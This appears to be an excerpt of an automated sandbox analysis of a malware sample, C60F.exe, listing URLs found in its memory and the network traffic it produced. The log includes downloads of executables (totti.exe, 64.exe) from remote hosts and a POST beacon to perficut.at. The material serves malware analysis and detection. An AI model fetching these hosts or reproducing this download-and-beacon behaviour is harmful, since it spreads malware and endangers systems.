Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/elementor/css/post-1009.css?ver=1670679061
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/elementor/css/post-1185.css?ver=1664959878
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/elementor/css/post-17.css?ver=1664959878
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/favicon.png
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/the7-css/compatibility/wc-dt-custom.css?ver=899328ee298e
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/the7-css/css-vars.css?ver=899328ee298e
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/the7-css/custom.css?ver=899328ee298e
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/the7-css/media.css?ver=899328ee298e
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/the7-css/post-type-dynamic.css?ver=899328ee298e
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/css/dist/block-library/style.min.css?ver=5.8
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/jquery.min.js?ver=3.6.0
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/ui/core.min.js?ver=1.12.1
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/ui/effect-blind.min.js?ver=1.12.1
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/ui/effect-fold.min.js?ver=1.12.1
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/ui/effect-highlight.min.js?ver=1.12.1
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/ui/effect-slide.min.js?ver=1.12.1
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/ui/effect.min.js?ver=1.12.1
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/ui/mouse.min.js?ver=1.12.1
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/ui/slider.min.js?ver=1.12.1
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/wp-embed.min.js?ver=5.8
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/wlwmanifest.xml
Source: C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pdqhomes.com/
Source: C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pdqhomes.com//
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.petsfan.com/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.petsfan.com/V
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.photo4b.com/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.photo4b.com//K
Source: C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pwd.org/
Source: C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pwd.org/u&d
Source: C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quadlock.com/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sjbs.org/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sjbs.org/_K2
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.snugpak.com/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.stajum.com/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.stajum.com/_
Source: C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/=c
Source: C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/bc
Source: C60F.exe, 00000014.00000002.540705227.0000000005169000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.synetik.net
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.synetik.net/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.synetik.net/JP
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.t-tre.com/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.t-tre.com/R
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.transsib.com/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.tvtools.fi/0K
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.tvtools.fi/9K
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.udesign.biz/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.udesign.biz/WS
Source: C60F.exe, 00000014.00000002.540559651.00000000044AD000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.usadig.com
Source: C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.usadig.com/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.vazir.se/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.vexcom.com/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.waldi.pl/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.wifi4all.nl/
Source: C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.winhui.cn/template/default/img/fixedimg1.png
Source: C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.winhui.cn/template/default/img/fixedimg3.png
Source: C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.winhui.cn/template/default/img/fixedimg4.png
Source: C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.winhui.cn/template/default/img/fixedimg6.png
Source: C60F.exe, 00000014.00000002.540769917.00000000052AD000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.wnsavoy.com
Source: C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp, C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp, C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.wnsavoy.com/
Source: C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.wnsavoy.com/Qc
Source: C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.wnsavoy.com/Zc
Source: C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.wnsavoy.com/lc
Source: C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.wnsavoy.com/ography
Source: C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.wnsavoy.com/~c
Source: C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.xaicom.es/
Source: C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp, C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp, C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.yoruksut.com/
Source: C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.yoruksut.com/a
Source: C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.yoruksut.com/sgV2lu
Source: C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.yoruksut.com/www.xaicom.es5
Source: C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.yoruksut.com/x
Source: C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.yoruksut.cot/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/prototype/1.7.1.0/prototype.js?ver=1.7.1
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/effects.js?ver=1.9.0
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/scriptaculous.js?ver=1.9.0
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp, C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.w.org/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://code.jquery.com/jquery-2.1.4.min.js
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto%3A100%2C100italic%2C200%2C200italic%2C300%2C300italic
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto%3A300%2C300i%2C400%2C400i%2C700%2C700i&subset=la
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto:400
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gmpg.org/xfn/11
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://lolipop.jp/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://minne.com/?utm_source=lolipop&utm_medium=banner&utm_campaign=synergy&utm_content=404
Source: C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp, C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ogp.me/ns#
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pcgrate.com/cart/request-quote/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pcgrate.com/wp-content/uploads/about-300x298.jpg
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pcgrate.com/wp-content/uploads/woocommerce_uploads/logo-sdw6o6.gif
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pepabo.com/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://s.rankmath.com/home
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://schema.org
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://static.minne.com/files/banner/minne_600x500
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://support.lolipop.jp/hc/ja/articles/360049132953
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tickets.suresupport.com/faq/article-1596/en
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.aevga.com/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.c9dd.com/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com?utm_source=challenge&utm_campaign=m
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.crcsi.org/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.credo.edu.pl/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.edimart.hu/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.fcwcvt.org/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/api.js?render=explicit&ver=3.3.1
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.jacomfg.com/
Source: C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.lrsuk.com/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.naoi-a.com/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.olras.com/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ora-ito.com/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/#author
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/#logo
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/#organization
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/#richSnippet
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/#webpage
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/#website
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/?s=
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/cart/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/checkout/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/comments/feed/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/feed/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-admin/admin-ajax.php
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/1024px-Logo_Ball_Corporation.svg_-e1637155176306.png
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/1200px-Zeiss_logosvg-e1626287816597.png
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/1280px-Jet_Propulsio.png
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/1920px-Raytheon.svg_-1-e1626285787717.png
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/Huawei-Logowine-1.png
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/IIG_logo-5.png
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/Newport-logo-76F09AD2F3-seeklogo.com_-e1626287837846.png
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/about-150x150.jpg
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/about-200x200.jpg
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/about-300x298.jpg
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/about.jpg
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/bae_systems-1.png
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/horiba_1.png
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/logo_01-1.png
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-json/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.pcgrate.com%2F
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.pcgrate.com%2F&format=xm
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-json/wp/v2/pages/1009
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/xmlrpc.php?rsd
Source: C60F.exe, 00000014.00000002.536733426.00000000007E6000.00000004.00000020.00020000.00000000.sdmp, C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pwd.org/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.quadlock.com/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.sjbs.org/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stajum.com/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/channel/UCvpY2zO1GRvxBdgkg7BUm-A

Source: unknown

DNS traffic detected: queries for: perficut.at

Source: global traffic	HTTP traffic detected: GET /systems/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: beg.com.ve
Source: global traffic	HTTP traffic detected: GET /totti.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 23.106.124.133
Source: global traffic	HTTP traffic detected: GET /64.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: h167471.srv11.test-hf.su

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133

Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp

String found in binary or memory: <a class="elementor-icon elementor-social-icon elementor-social-icon-youtube elementor-repeater-item-6def677" href="https://www.youtube.com/channel/UCvpY2zO1GRvxBdgkg7BUm-A" target="_blank"> equals www.youtube.com (Youtube)

Source: unknown

HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://extrltwd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 342Host: perficut.at

Source: unknown

HTTPS traffic detected: 190.114.9.88:443 -> 192.168.2.3:49693 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

